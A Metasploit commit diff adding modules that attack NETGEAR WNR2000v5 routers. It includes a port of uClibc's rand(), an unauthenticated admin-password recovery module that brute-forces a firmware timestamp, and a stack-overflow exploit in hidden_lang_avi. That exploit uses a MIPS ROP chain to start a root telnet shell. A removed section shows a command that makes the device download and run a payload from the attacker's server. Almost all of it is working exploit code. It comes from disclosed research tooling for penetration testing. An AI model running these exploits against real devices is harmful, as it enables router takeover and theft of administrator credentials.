add final wnr2000 sploits

bug/bundler_fix
Pedro Ribeiro 2016-12-31 16:49:05 +00:00
parent 870e8046b5
commit 956602cbfe
4 changed files with 420 additions and 119 deletions

View File

@ -0,0 +1,113 @@
module Msf
###
#
# This module provides a complete port of the libc rand() and srand() functions.
# It is used by the NETGEAR WNR2000v5 auxiliary and exploit modules, but might
# be useful for any other module that needs to emulate C's random number generator.
#
# Author: Pedro Ribeiro (pedrib@gmail.com) / Agile Information Security
#
###
module Auxiliary::CRand
attr_accessor :randtbl
attr_accessor :unsafe_state
####################
# ported from https://git.uclibc.org/uClibc/tree/libc/stdlib/random.c
# and https://git.uclibc.org/uClibc/tree/libc/stdlib/random_r.c
TYPE_3 = 3
BREAK_3 = 128
DEG_3 = 31
SEP_3 = 3
def initialize(info = {})
super
@randtbl =
[
# we omit TYPE_3 from here, not needed
-1726662223, 379960547, 1735697613, 1040273694, 1313901226,
1627687941, -179304937, -2073333483, 1780058412, -1989503057,
-615974602, 344556628, 939512070, -1249116260, 1507946756,
-812545463, 154635395, 1388815473, -1926676823, 525320961,
-1009028674, 968117788, -123449607, 1284210865, 435012392,
-2017506339, -911064859, -370259173, 1132637927, 1398500161,
-205601318,
]
@unsafe_state = {
"fptr" => SEP_3,
"rptr" => 0,
"state" => 0,
"rand_type" => TYPE_3,
"rand_deg" => DEG_3,
"rand_sep" => SEP_3,
"end_ptr" => DEG_3
}
end
# Emulate the behaviour of C's srand
def srandom_r (seed)
state = @randtbl
if seed == 0
seed = 1
end
state[0] = seed
dst = 0
word = seed
kc = DEG_3
for i in 1..(kc-1)
hi = word / 127773
lo = word % 127773
word = 16807 * lo - 2836 * hi
if (word < 0)
word += 2147483647
end
dst += 1
state[dst] = word
end
@unsafe_state['fptr'] = @unsafe_state['rand_sep']
@unsafe_state['rptr'] = 0
kc *= 10
kc -= 1
while (kc >= 0)
random_r
kc -= 1
end
end
# Emulate the behaviour of C's rand
def random_r
buf = @unsafe_state
state = buf['state']
fptr = buf['fptr']
rptr = buf['rptr']
end_ptr = buf['end_ptr']
val = @randtbl[fptr] += @randtbl[rptr]
result = (val >> 1) & 0x7fffffff
fptr += 1
if (fptr >= end_ptr)
fptr = state
rptr += 1
else
rptr += 1
if (rptr >= end_ptr)
rptr = state
end
end
buf['fptr'] = fptr
buf['rptr'] = rptr
result
end
end
end

View File

@ -4,6 +4,7 @@
# Auxiliary mixins
#
require 'msf/core/auxiliary/auth_brute'
require 'msf/core/auxiliary/crand'
require 'msf/core/auxiliary/dos'
require 'msf/core/auxiliary/drdos'
require 'msf/core/auxiliary/fuzzer'

View File

@ -4,16 +4,23 @@
##
require 'msf/core'
require 'time'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::CRand
def initialize(info = {})
super(update_info(info,
'Name' => 'NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Default Configuration Load and Administrator Password Reset',
'Name' => 'NETGEAR WNR2000v5 Administrator Password Recovery',
'Description' => %q{
The NETGEAR WNR2000 router has a vulnerability in the way it handles password recovery.
This vulnerability can be exploited by an unauthenticated attacker who is able to guess
the value of a certain timestamp which is in the configuration of the router.
This module works very reliably and it has been tested with the WNR2000v5, firmware versions
1.0.0.34 and 1.0.0.18. It should also work with the v4 and v3, but this has not been tested
with these versions.
},
'Author' =>
[
@ -23,17 +30,59 @@ class MetasploitModule < Msf::Auxiliary
'References' =>
[
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72']
['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72'],
['URL', 'http://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability']
],
'DisclosureDate' => 'Dec 20 2016',
'DisclosureDate' => 'Dec 20 2016'))
register_options(
[
Opt::RPORT(80)
], self.class)
register_advanced_options(
[
OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]),
OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting through', 200])
], self.class)
end
def get_password (q1, q2)
def get_current_time
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})
if res && res['Date']
date = res['Date']
return Time.parse(date).strftime('%s').to_i
end
end
# Do some crazyness to force Ruby to cast to a single-precision float and
# back to an integer.
# This emulates the behaviour of the soft-fp library and the float cast
# which is done at the end of Netgear's timestamp generator.
def ieee754_round (number)
[number].pack('f').unpack('f*')[0].to_i
end
# This is the actual algorithm used in the get_timestamp function in
# the Netgear firmware.
def get_timestamp(time)
srandom_r time
t0 = random_r
t1 = 0x17dc65df;
hi = (t0 * t1) >> 32;
t2 = t0 >> 31;
t3 = hi >> 23;
t3 = t3 - t2;
t4 = t3 * 0x55d4a80;
t0 = t0 - t4;
t0 = t0 + 0x989680;
ieee754_round(t0)
end
def get_creds
res = send_request_cgi({
'uri' => '/BRS_netgear_success.html',
'method' => 'GET'
@ -41,20 +90,20 @@ class MetasploitModule < Msf::Auxiliary
if res && res.body =~ /var sn="([\w]*)";/
serial = $1
else
puts "[-]Failed to obtain serial number, bailing out..."
exit(1)
fail_with(Failure::Unknown, "#{peer} - Failed to obtain serial number, bailing out...")
end
# 1: send serial number
res = send_request_cgi({
'uri' => '/apply_noauth.cgi?/unauth.cgi',
'method' => 'POST',
'Content-Type' => 'application/x-www-form-urlencoded',
'vars_post' =>
'vars_post' =>
{
'submit_flag' => 'match_sn',
'serial_num' => serial,
'continue' => '+Continue+'
}
})
# 2: send answer to secret questions
@ -62,69 +111,113 @@ class MetasploitModule < Msf::Auxiliary
'uri' => '/apply_noauth.cgi?/securityquestions.cgi',
'method' => 'POST',
'Content-Type' => 'application/x-www-form-urlencoded',
'vars_post' =>
'vars_post' =>
{
'submit_flag' => 'security_question',
'answer1' => q1,
'answer2' => q2,
'answer1' => @q1,
'answer2' => @q2,
'continue' => '+Continue+'
})
}
})
# 3: PROFIT!!!
res = send_request_cgi({
'uri' => '/passwordrecovered.cgi',
'method' => 'GET'
})
if res && res.body =~ /Admin Password: (.*)<\/TD>/
password = $1
else
fail_with(Failure::Unknown, "#{peer} - Failed to obtain password")
end
if res && res.body =~ /Admin Username: (.*)<\/TD>/
username = $1
else
fail_with(Failure::Unknown, "#{peer} - Failed to obtain username")
end
print_good("#{peer} - Success! Got admin username #{username} and password #{password}")
return [username, password]
end
return [username, password]
end
def send_req(timestamp)
begin
uri_str = (timestamp == nil ? \
"/apply_noauth.cgi?/PWD_password.htm" : \
"/apply_noauth.cgi?/PWD_password.htm%20timestamp=#{timestamp.to_s}")
res = send_request_raw({
'uri' => uri_str,
'method' => 'POST',
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
'data' => "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=#{@q1}&question2=2&answer2=#{@q2}"
})
return res
rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
return
end
end
def run
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], "cgi-bin", "cgi_system"),
'vars_get' => { 'cmd' => "loaddefconfig" }
})
# generate the security questions
@q1 = Rex::Text.rand_text_alpha(rand(20) + 2)
@q2 = Rex::Text.rand_text_alpha(rand(20) + 2)
if res && res.code == 401
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], "login.php"),
'vars_post' => {
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD'],
'submit' => "Login"
}
})
if res && (res.code == 200 || res.code == 302)
cookie = res.get_cookies
else
fail_with(Failure::Unknown, "#{peer} - A valid username / password is needed to reset the device.")
end
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], "cgi-bin", "cgi_system"),
'cookie' => cookie,
'vars_get' => { 'cmd' => "loaddefconfig" }
})
# let's try without timestamp first (the timestamp only gets set if the user visited the page before)
print_status("#{peer} - Trying the easy way out first")
res = send_req(nil)
if res && res.code == 200
credentials = get_creds
print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"")
return
end
if res && res.code == 200 && res.body.to_s =~ /load default configuration ok/
print_good("#{peer} - Device has been reset to the default configuration.")
# no result? let's just go on and bruteforce the timestamp
print_bad("#{peer} - Well that didn't work... let's do it the hard way.")
# get the current date from the router and parse it
end_time = get_current_time
if end_time == nil
fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time")
end
if end_time <= datastore['TIME_OFFSET']
start_time = 0
else
print_error("#{peer} - Failed to reset device.")
start_time = end_time - datastore['TIME_OFFSET']
end
end_time += datastore['TIME_SURPLUS']
if end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i
end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i
end
print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.")
print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but maybe an hour or more).")
# work back from the current router time minus datastore['TIME_OFFSET']
while true
for time in end_time.downto(start_time)
timestamp = get_timestamp(time)
sleep 0.1
if time % 400 == 0
print_status("#{peer} - Still working, trying time #{time}")
end
res = send_req(timestamp)
if res && res.code == 200
credentials = get_creds
print_good("#{peer} - Success! Got admin username #{credentials[0]} and password #{credentials[1]}")
return
end
end
if start_time == 0
# for the special case when the router resets the date to 1 Jan 1970
start_time = end_time - (datastore['TIME_SURPLUS'])
end_time += datastore['TIME_OFFSET']
else
end_time = start_time
start_time -= datastore['TIME_OFFSET']
end
print_status("#{peer} - Going for another round, starting at #{start_time} and finishing at #{end_time}")
end
end
end

View File

@ -10,14 +10,21 @@ class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Auxiliary::CRand
def initialize(info = {})
super(update_info(info,
'Name' => 'NETGEAR WNR2000v5 Unauthenticated / Authenticated Remote Code Execution',
'Name' => 'NETGEAR WNR2000v5 (Un)authenticated hidden_lang_avi Stack Overflow',
'Description' => %q{
The NETGEAR WNR2000 router has a buffer overflow vulnerability in the hidden_lang_avi
parameter.
In order to exploit it, it is necessary to guess the value of a certain timestamp which
is in the configuration of the router. An authenticated attacker can simply fetch this
from a page, but an unauthenticated attacker has to brute force it.
This module implements both modes, and it works very reliably. It has been tested with
the WNR2000v5, firmware versions 1.0.0.34 and 1.0.0.18. It should also work with the v4
and v3, but this has not been tested - with these routers it might be necessary to adjust
the LibcBase variable as well as the gadget addresses.
},
'Author' =>
[
@ -28,39 +35,50 @@ class MetasploitModule < Msf::Exploit::Remote
'References' =>
[
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72']
['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72'],
['URL', 'http://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability']
],
'Targets' =>
[
[ 'NETGEAR WNR2000v5',
{
'LibcBase' => 0x2ab24000, # should be the same offset for all firmware versions
'System' => 0x547D0,
'Gadget' => 0x2462C,
'LibcBase' => 0x2ab24000, # should be the same offset for all firmware versions (in libuClibc-0.9.30.1.so)
'SystemOffset' => 0x547D0,
'GadgetOffset' => 0x2462C,
#The ROP gadget will load $sp into $a0 (which will contain the system() command) and call $s0 (which will contain the address of system()):
#LOAD:0002462C addiu $a0, $sp, 0x40+arg_0
#LOAD:00024630 move $t9, $s0
#LOAD:00024634 jalr $t9
'Arch' => ARCH_MIPSBE,
'Payload' =>
{
'BadChars' => "\x00\x25\x26"
'BadChars' => "\x00\x25\x26",
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
}
],
],
'Privileged' => true,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'DisclosureDate' => 'Dec 20 2016',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80),
OptBoot.new('REBOOT', [true, 'Reboot the router? (the exploit is more reliable with a reboot)', true]),
OptString.new('SRVPORT', [true, 'Port for the HTTP server (ARM only)', '3333']),
OptString.new('SHELL', [true, 'Don\'t change this', '/bin/sh']),
OptString.new('SHELLARG', [true, 'Don\'t change this', 'sh']),
OptString.new('USERNAME', [true, 'Username for the web interface (not needed but exploitation is faster)', 'admin']),
OptString.new('PASSWORD', [true, 'Password for the web interface (not needed but exploitation is faster)', 'password']),
], self.class)
register_advanced_options(
[
OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]),
OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting a shell', 200])
], self.class)
end
def check
res = send_request_cgi({
'uri' => '/',
@ -76,7 +94,7 @@ class MetasploitModule < Msf::Exploit::Remote
end
Exploit::CheckCode::Safe
end
def uri_encode (str)
"%" + str.scan(/.{2}|.+/).join("%")
end
@ -93,80 +111,156 @@ class MetasploitModule < Msf::Exploit::Remote
})
if res && res['Date']
date = res['Date']
Time.parse(date).strftime('%s').to_i
return Time.parse(date).strftime('%s').to_i
end
end
def get_auth_timestamp(mode)
res = send_request_cgi({
def get_auth_timestamp
res = send_request_raw({
'uri' => '/lang_check.html',
'method' => 'GET'
'method' => 'GET',
'headers' => {'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}")}
})
if res && res.code == 401
# try again, might fail the first time
res = send_request_cgi({
res = send_request_raw({
'uri' => '/lang_check.html',
'method' => 'GET'
'method' => 'GET',
'headers' => {'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}")}
})
if res && res.code == 200
if res.body =~ /timestamp=([0-9]{8})/
$1.to_i
end
end
if res && res.code == 200
if res.body =~ /timestamp=([0-9]{8})/
$1.to_i
end
end
end
end
# Do some crazyness to force Ruby to cast to a single-precision float and
# back to an integer.
# This emulates the behaviour of the soft-fp library and the float cast
# which is done at the end of Netgear's timestamp generator.
def ieee754_round (number)
[number].pack('f').unpack('f*')[0].to_i
end
# This is the actual algorithm used in the get_timestamp function in
# the Netgear firmware.
def get_timestamp(time)
srandom_r time
t0 = random_r
t1 = 0x17dc65df;
hi = (t0 * t1) >> 32;
t2 = t0 >> 31;
t3 = hi >> 23;
t3 = t3 - t2;
t4 = t3 * 0x55d4a80;
t0 = t0 - t4;
t0 = t0 + 0x989680;
ieee754_round(t0)
end
def get_payload
rand_text_alpha(36) + # filler_1
calc_address(target['LibcBase'], target['SystemOffset']) + # s0
rand_text_alpha(12) + # s1, s2 and s3
calc_address(target['LibcBase'], target['GadgetOffset']) + # gadget
rand_text_alpha(0x40) + # filler_2
"killall telnetenable; killall utelnetd; /usr/sbin/utelnetd -d -l /bin/sh" # payload
end
def send_req(timestamp)
begin
uri_str = (timestamp == nil ? \
"/apply_noauth.cgi?/lang_check.html" : \
"/apply_noauth.cgi?/lang_check.html%20timestamp=#{timestamp.to_s}")
res = send_request_raw({
'uri' => uri_str,
'method' => 'POST',
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
'data' => "submit_flag=select_language&hidden_lang_avi=#{get_payload}"
})
rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
return
end
end
def exploit
print_status("#{peer} - Attempting to exploit #{target.name}")
if target == targets[0]
send_payload(prepare_shellcode_mips)
# 1: try to see if the default admin username and password are set
timestamp = get_auth_timestamp
# 2: now we try two things at once:
# one, if the timestamp is not nil then we got an authenticated timestamp, let's try that
# two, if the timestamp is nil, then let's try without timestamp first (the timestamp only gets set if the user visited the page before)
print_status("#{peer} - Trying the easy way out first")
send_req(timestamp)
begin
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 })
if not sock.nil?
print_good("#{peer} - Success, shell incoming!")
return handler(sock)
end
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
sock.close if sock
end
print_bad("#{peer} - Well that didn't work... let's do it the hard way.")
# no shell? let's just go on and bruteforce the timestamp
# 3: get the current date from the router and parse it
end_time = get_current_time
if end_time == nil
fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time")
end
if end_time <= datastore['TIME_OFFSET']
start_time = 0
else
downfile = rand_text_alpha(8+rand(8))
@pl = generate_payload_exe
@elf_sent = false
resource_uri = '/' + downfile
start_time = end_time - datastore['TIME_OFFSET']
end
end_time += datastore['TIME_SURPLUS']
#do not use SSL
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
if end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i
end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i
end
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end
print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.")
print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but maybe an hour or more).")
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
print_status("#{peer} - Starting up our web service on #{service_url} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})
datastore['SSL'] = true if ssl_restore
print_status("#{peer} - Asking the device to download and execute #{service_url}")
filename = rand_text_alpha_lower(rand(8) + 2)
cmd = "wget #{service_url} -O /tmp/#{filename}; chmod +x /tmp/#{filename}; /tmp/#{filename} &"
shellcode = prepare_shellcode_arm(cmd)
print_status("#{peer} - \"Bypassing\" the device's ASLR. This might take up to 15 minutes.")
counter = 0.00
while (not @elf_sent)
if counter % 50.00 == 0 && counter != 0.00
print_status("#{peer} - Tried #{counter.to_i} times in #{(counter * datastore['SLEEP'].to_f).to_i} seconds.")
# 2: work back from the current router time minus datastore['TIME_OFFSET']
while true
for time in end_time.downto(start_time)
timestamp = get_timestamp(time)
sleep 0.1
if time % 400 == 0
print_status("#{peer} - Still working, trying time #{time}")
end
send_req(timestamp)
begin
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 })
if sock.nil?
next
end
print_status("#{peer} - Success, shell incoming!")
return handler(sock)
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
sock.close if sock
next
end
send_payload(shellcode)
sleep datastore['SLEEP'].to_f # we need to be in the LAN, so a low value (< 1s) is fine
counter += 1
end
print_status("#{peer} - The device downloaded the payload after #{counter.to_i} tries / #{(counter * datastore['SLEEP'].to_f).to_i} seconds.")
if start_time == 0
# for the special case when the router resets the date to 1 Jan 1970
start_time = end_time - (datastore['TIME_SURPLUS'])
end_time += datastore['TIME_OFFSET']
else
end_time = start_time
start_time -= datastore['TIME_OFFSET']
end
print_status("#{peer} - Going for another round, starting at #{start_time} and finishing at #{end_time}")
end
end
end